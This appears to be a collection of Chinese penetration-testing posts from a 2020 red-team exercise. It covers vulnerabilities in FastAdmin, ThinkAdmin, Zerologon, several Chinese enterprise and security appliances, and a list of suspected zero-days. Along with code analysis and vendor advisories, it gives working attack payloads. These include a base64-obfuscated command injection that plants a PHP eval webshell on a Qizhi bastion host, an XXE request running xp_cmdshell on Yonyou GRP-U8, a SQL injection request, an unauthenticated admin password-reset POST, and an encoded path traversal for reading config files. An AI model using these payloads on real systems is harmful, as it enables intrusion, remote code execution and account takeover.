fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析 渗透测试
0x1.简介
FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。
补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。
影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta
修复建议:
升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:
https://www.fastadmin.net/download.html
0x2.漏洞详情
利用限制:需要开启会员中心功能,且登录会员中心。
/application/config.php 文件中:
//是否开启前台会员中心 'usercenter' => true,
漏洞分析
/application/index/User.php 文件
第58-67行:
public function _empty($name) { $data = Hook::listen("user_request_empty", $name); foreach ($data as $index => $datum) { $this->view->assign($datum); } return $this->view->fetch($name); }
user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);
此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。
fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容
fetch() 函数的关键内容如下:
public function fetch($template, $data = [], $config = []) { if ('' == pathinfo($template, PATHINFO_EXTENSION)) { // 获取模板文件名 $template = $this->parseTemplate($template); } // 模板不存在 抛出异常 if (!is_file($template)) { throw new TemplateNotFoundException('template not exists:' . $template, $template); } // 记录视图信息 App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info'); $this->template->fetch($template, $data, $config); }
继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。
总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell
另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:
1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:
2、在linux下, is_file() 函数判可用于判断符号链接
3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false
4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致
5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败
0x3.漏洞验证
通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。
利用过程如下:
在前台的会员中心,个人资料处,上传修改头像:
抓包后修改图片数据(满足图片头格式即可):
记录下路径后,成功getshell
在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:
当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:
文章出自:https://forum.90sec.com/t/topic/1294
作者:https://forum.90sec.com/u/panda
大家可以投稿90注册啊!给你们投票!哈哈哈
深信服VPN 修改任意账户绑定手机号 渗透测试
https://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
注意 需要登录之后才可以
ThinkAdmin v5和v6 未授权列目录/任意文件读取(CVE-2020-25540) 技术文章
首先声明:内容来自ThinkAdmin的GitHub的官方项目的issue 由 @Hzllaga 师傅提供.
0x1.漏洞简介
ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。
0x2.影响范围
Thinkadmin ≤ 2020.08.03.01
0x3.漏洞分析复现
app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:
namespace app\admin\controller\api;
use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;
version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞
URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version
列目录
node():
/** * 读取文件列表 */ public function node() { $this->success('获取文件列表成功!', InstallService::instance()->getList( json_decode($this->request->post('rules', '[]', ''), true), json_decode($this->request->post('ignore', '[]', ''), true) )); }
直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:
/** * 获取文件信息列表 * @param array $rules 文件规则 * @param array $ignore 忽略规则 * @param array $data 扫描结果列表 * @return array */ public function getList(array $rules, array $ignore = [], array $data = []): array { // 扫描规则文件 foreach ($rules as $key => $rule) { $name = strtr(trim($rule, '\\/'), '\\', '/'); $data = array_merge($data, $this->_scanList($this->root . $name)); } // 清除忽略文件 foreach ($data as $key => $item) foreach ($ignore as $ign) { if (stripos($item['name'], $ign) === 0) unset($data[$key]); } // 返回文件数据 return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data]; }
$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。
/** * 获取目录文件列表 * @param string $path 待扫描目录 * @param array $data 扫描结果 * @return array */ private function _scanList($path, $data = []): array { foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) { $data[] = $this->_getInfo(strtr($file, '\\', '/')); } return $data; }
/** * 获取所有PHP文件列表 * @param string $path 扫描目录 * @param array $data 额外数据 * @param string $ext 文件后缀 * @return array */ public function scanDirectory($path, $data = [], $ext = 'php') { if (file_exists($path)) if (is_file($path)) $data[] = $path; elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') { $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item; if (is_readable($realpath)) if (is_dir($realpath)) { $data = $this->scanDirectory($realpath, $data, $ext); } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) { $data[] = strtr($realpath, '\\', '/'); } } return $data; }
/** * 获取指定文件信息 * @param string $path 文件路径 * @return array */ private function _getInfo($path): array { return [ 'name' => str_replace($this->root, '', $path), 'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))), ]; }
读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node
POST:
rules=["/"]
也可以使用../来进行目录穿越
rules=["../../../"]
演示站:
任意文件读取
get():
/** * 读取文件内容 */ public function get() { $filename = decode(input('encode', '0')); if (!ModuleService::instance()->checkAllowDownload($filename)) { $this->error('下载的文件不在认证规则中!'); } if (file_exists($realname = $this->app->getRootPath() . $filename)) { $this->success('读取文件内容成功!', [ 'content' => base64_encode(file_get_contents($realname)), ]); } else { $this->error('读取文件内容失败!'); } }
首先从GET读取encode参数并使用decode()解码:
/** * 解密 UTF8 字符串 * @param string $content * @return string */ function decode($content) { $chars = ''; foreach (str_split($content, 2) as $char) { $chars .= chr(intval(base_convert($char, 36, 10))); } return iconv('GBK//TRANSLIT', 'UTF-8', $chars); }
解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:
/** * 加密 UTF8 字符串 * @param string $content * @return string */ function encode($content) { [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }
跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:
/** * 检查文件是否可下载 * @param string $name 文件名称 * @return boolean */ public function checkAllowDownload($name): bool { // 禁止下载数据库配置文件 if (stripos($name, 'database.php') !== false) { return false; } // 检查允许下载的文件规则 foreach ($this->getAllowDownloadRule() as $rule) { if (stripos($name, $rule) !== false) return true; } // 不在允许下载的文件规则 return false; }
首先$name不能够是database.php,接着跟进getAllowDownloadRule():
/** * 获取允许下载的规则 * @return array */ public function getAllowDownloadRule(): array { $data = $this->app->cache->get('moduleAllowRule', []); if (is_array($data) && count($data) > 0) return $data; $data = ['config', 'public/static', 'public/router.php', 'public/index.php']; foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}"; $this->app->cache->set('moduleAllowRule', $data, 30); return $data; }
有一个允许的列表:
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:
public/static/../../1.txt
而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:
public/static/../../config/database"php
对应encode()后的结果为:
34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34
Windows读取database.php:
演示站读取/etc/passwd:
v5连允许列表都没有,可以直接读任意文件。
0x4.漏洞修复
临时方案:
升级到最新版!
来源:https://github.com/zoujingli/ThinkAdmin/issues/244
CVE-2020-1472: NetLogon特权提升漏洞(接管域控制器) 渗透测试
0x01 更新概览
2020年09月14日,360CERT监测发现 secura
公开了针对该漏洞研究报告及PoC
,可造成 权限提升影响
。本次更新标识该漏洞的利用工具公开,并可能在短时间内出现攻击态势。
具体更新详情可参考: 漏洞验证
0x02 漏洞简述
2020年08月12日, 360CERT监测发现 Windows官方
发布了 NetLogon 特权提升漏洞
的风险通告,该漏洞编号为 CVE-2020-1472
,漏洞等级:严重
,漏洞评分:10分
。
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
对此,360CERT建议广大用户及时为各Windows Server操作系统安装最新相关补丁。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x03 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级 |
---|---|
威胁等级 | 严重 |
影响面 | 广泛 |
360CERT评分 | 10分 |
0x04 漏洞详情
NetLogon组件
是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
漏洞验证
使用 SecuraBV/zerologon_tester.py
进行验证;可以看到在 windows server 2012
结果如下图所示
python版本: 3.8.5 域控版本: windows server 2008 测试机版本: windows server 2012
0x05 影响版本
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
相关检测和利用工具地址:
https://github.com/SecuraBV/CVE-2020-1472
https://github.com/dirkjanm/CVE-2020-1472
HW截至目前已经确认的漏洞和预警的漏洞(0day)汇总 网络安全
截至到目前已经确认的漏洞一览图:
1、绿盟UTS综合威胁探针管理员任意登录
2、用友GRP-u8 XXE注入
3、天融信TopApp-LB 负载均衡系统sql注入
4、深信服EDR远程命令执行
5、联软科技产品存在任意文件上传
6、联软科技产品存在命令执行漏洞
7、WPS命令执行漏洞
8、齐治堡垒机漏洞
9、phpcms v9前台REC(全版本),这个详情在我的GitHub,二十几天前就搜集到了。
漏洞预警,蓝队撑住,提前预警,做好预防0day冲击准备,不一定全部是真的,有这些产品的多注意,多加一道防护,比如开启basic二次验证等操作缓解预防!
预警事项:山石、绿盟、新华三、华为等多个安全产品存在漏洞
根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及山石网科下一代防火墙、绿盟远程安全评估系统, 新华三技术有限公司H3CSecPathF10x 0防火墙、华为多款产品(交换机、入侵防御系统、防火墙等),政击者可能通过利用以上漏润造成重大安全影响。
预警时间:2020年09月12日
预警等级:八级
预警范围:
1.山石网科下一代防火墙SG-6000
2.绿盟远程安全评估系统
3.新华三技术有限公司H36SecPathF10x 0防火墙
4.华为多款设备存在越界读取漏洞(C NVD-2020-36735) :
华为无线接入点设备AP2000系列
华为交换机S5700系列
华为DDOS防御系统Seco space Anti DDoS 8000系列
华为下一代入侵防御系统NIP 5300系列、NIP 6600系列、NIP 6800系列
华为入侵防御系统(单板形态) IPS Module V 500系列
H3C、启明星辰、天融信、网御星云、深信服、网神等多个安全产品存在漏洞
预警事项:
根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及北京启明星辰信息安全技术有限公司天清Web应用安全网关、天融信NG FW下一代防火墙、H3CACG 1000-M交换机、北京网御星云信息技术有限公司网御防火墙、深信服科技股份有限公司SSL VPN,网神信息技术(北京)股份有限公司网神安全审计系统,攻击者可能通过利用以上漏洞造成重大安全影响。
预警时间:2020年9月12日
预警等级:九级
预警范围:
1.北京启明星辰信息安全技术有限公司天清Web应用安全网关
2.天融信NGE W下一代防火墙
3.北京网御星云信息技术有限公司网御防火墙
4.深信服科技股份有限公司SSL VPN
5.网神信息技术(北京)股份有限公司 网神安全审计系统
6.H3CACG 1000-M交换机
祝大家HW顺利!少丢分!哈哈哈
泛微OA云桥任意文件读取漏洞 渗透测试
泛微0A的这个漏洞利用/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。
1、downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。
2、通过查看文件接口访问 /file/fileNoLogin/id
可参考微步的情报:
天融信数据防泄漏系统越权修改管理员密码 渗透测试
无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd
接口未授权访问,造成直接修改任意用户密码。:默认superman账户uid为1。
POST /?module=auth_user&action=mod_edit_pwd
Cookie: username=superman;
uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1
齐治堡垒机前台远程命令执行漏洞 渗透测试
齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)
未授权无需登录。
1、访问 http://10.20.10.11/listener/cluster_manage.php :返回 "OK".
2、访问如下链接即可getshell,执行成功后,生成PHP一句话马
3、/var/www/shterm/resources/qrcode/lbj77.php 密码10086
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}
用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入 渗透测试
用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
该系统被曝存在命令执行漏洞,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击,漏洞细节以及相关漏洞poc如下:
用友GRP-u8 XXE漏洞(XML External Entity-XML外部实体注入):
POST /Proxy HTTP/1.1 Accept: Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: host Content-Length: 357 Connection: Keep-Alive Cache-Control: no-cache cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'net user'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
burp里面repeat即可:
天融信TopApp-LB 负载均衡系统sql注入:
POST /acc/clsf/report/datasource.php HTTP/1.1 Host: Connection: close Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.6.0.3 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=ijqtopbcbmu8d70o5t3kmvgt57 Content-Type: application/x-www-form-urlencoded Content-Length: 201 t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=@
至于前面的sangfor EDR RCE漏洞已经发过了。
绿盟UTS综合威胁探针管理员任意登录复现 渗透测试
背景:
绿盟全流量威胁分析解决方案针对原始流量进行采集和监控,对流量信息进行深度还原、存储、查询和分析,可以及时掌握重要信息系统相关网络安全威胁风险,及时检测漏洞、病毒木马、网络攻击情况,及时发现网络安全事件线索,及时通报预警重大网络安全威胁,调查、防范和打击网络攻击等恶意行为,保障重要信息系统的网络安全。
绿盟综合威胁探针设备版本V2.0R00F02SP02及之前存在此漏洞。
绿盟的邮件回应:
尊敬的客户:
您好!
近日,收到客户反馈我司UTS产品存在“管理员任意登录漏洞”,此漏洞经过内部确认已于2020年8月进行了漏洞修复,并已经联系了受影响客户进行设备升级。现将相关情况说明如下:
此漏洞属于UTS某API存在敏感信息泄露的问题,攻击者可以绕过密码验证登录UTS设备。攻击者利用web特殊请求获取管理员权限,可对设备进行管控,修改防护策略,查看攻击信息和内网地址等资产信息,威胁设备安全。
此问题不是0day漏洞,不会泄露用户明文密码,不存在命令注入漏洞,攻击者无法利用此漏洞跳转攻击其它设备。目前我们已经在UTSV2.0R00F02SP03版本完成修复,升级官网发布的UTSV2.0R00F02SP03/UTSV2.0R00F02SP04升级包均可以解决此问题。同时请客户升级后,及时修改账户密码。
对于不具备升级条件的客户,请联系绿盟技术人员,绿盟技术人员为您提供技术支持进行解决。为您带来的不便,我们深感抱歉。
绿盟科技集团股份有限公司
2020年9月11日
漏洞利用过程:
对响应包进行修改,将false更改为true的时候可以泄露管理用户的md5值密码
利用渠道的md5值去登录页面
替换为 admin密码的md5:
7ac301836522b54afcbbed714534c7fb
成功登录,登录后通过管理员权限对设备进行管控,并且可以看到大量的攻击信息,泄露内部网络地址包括资产管理。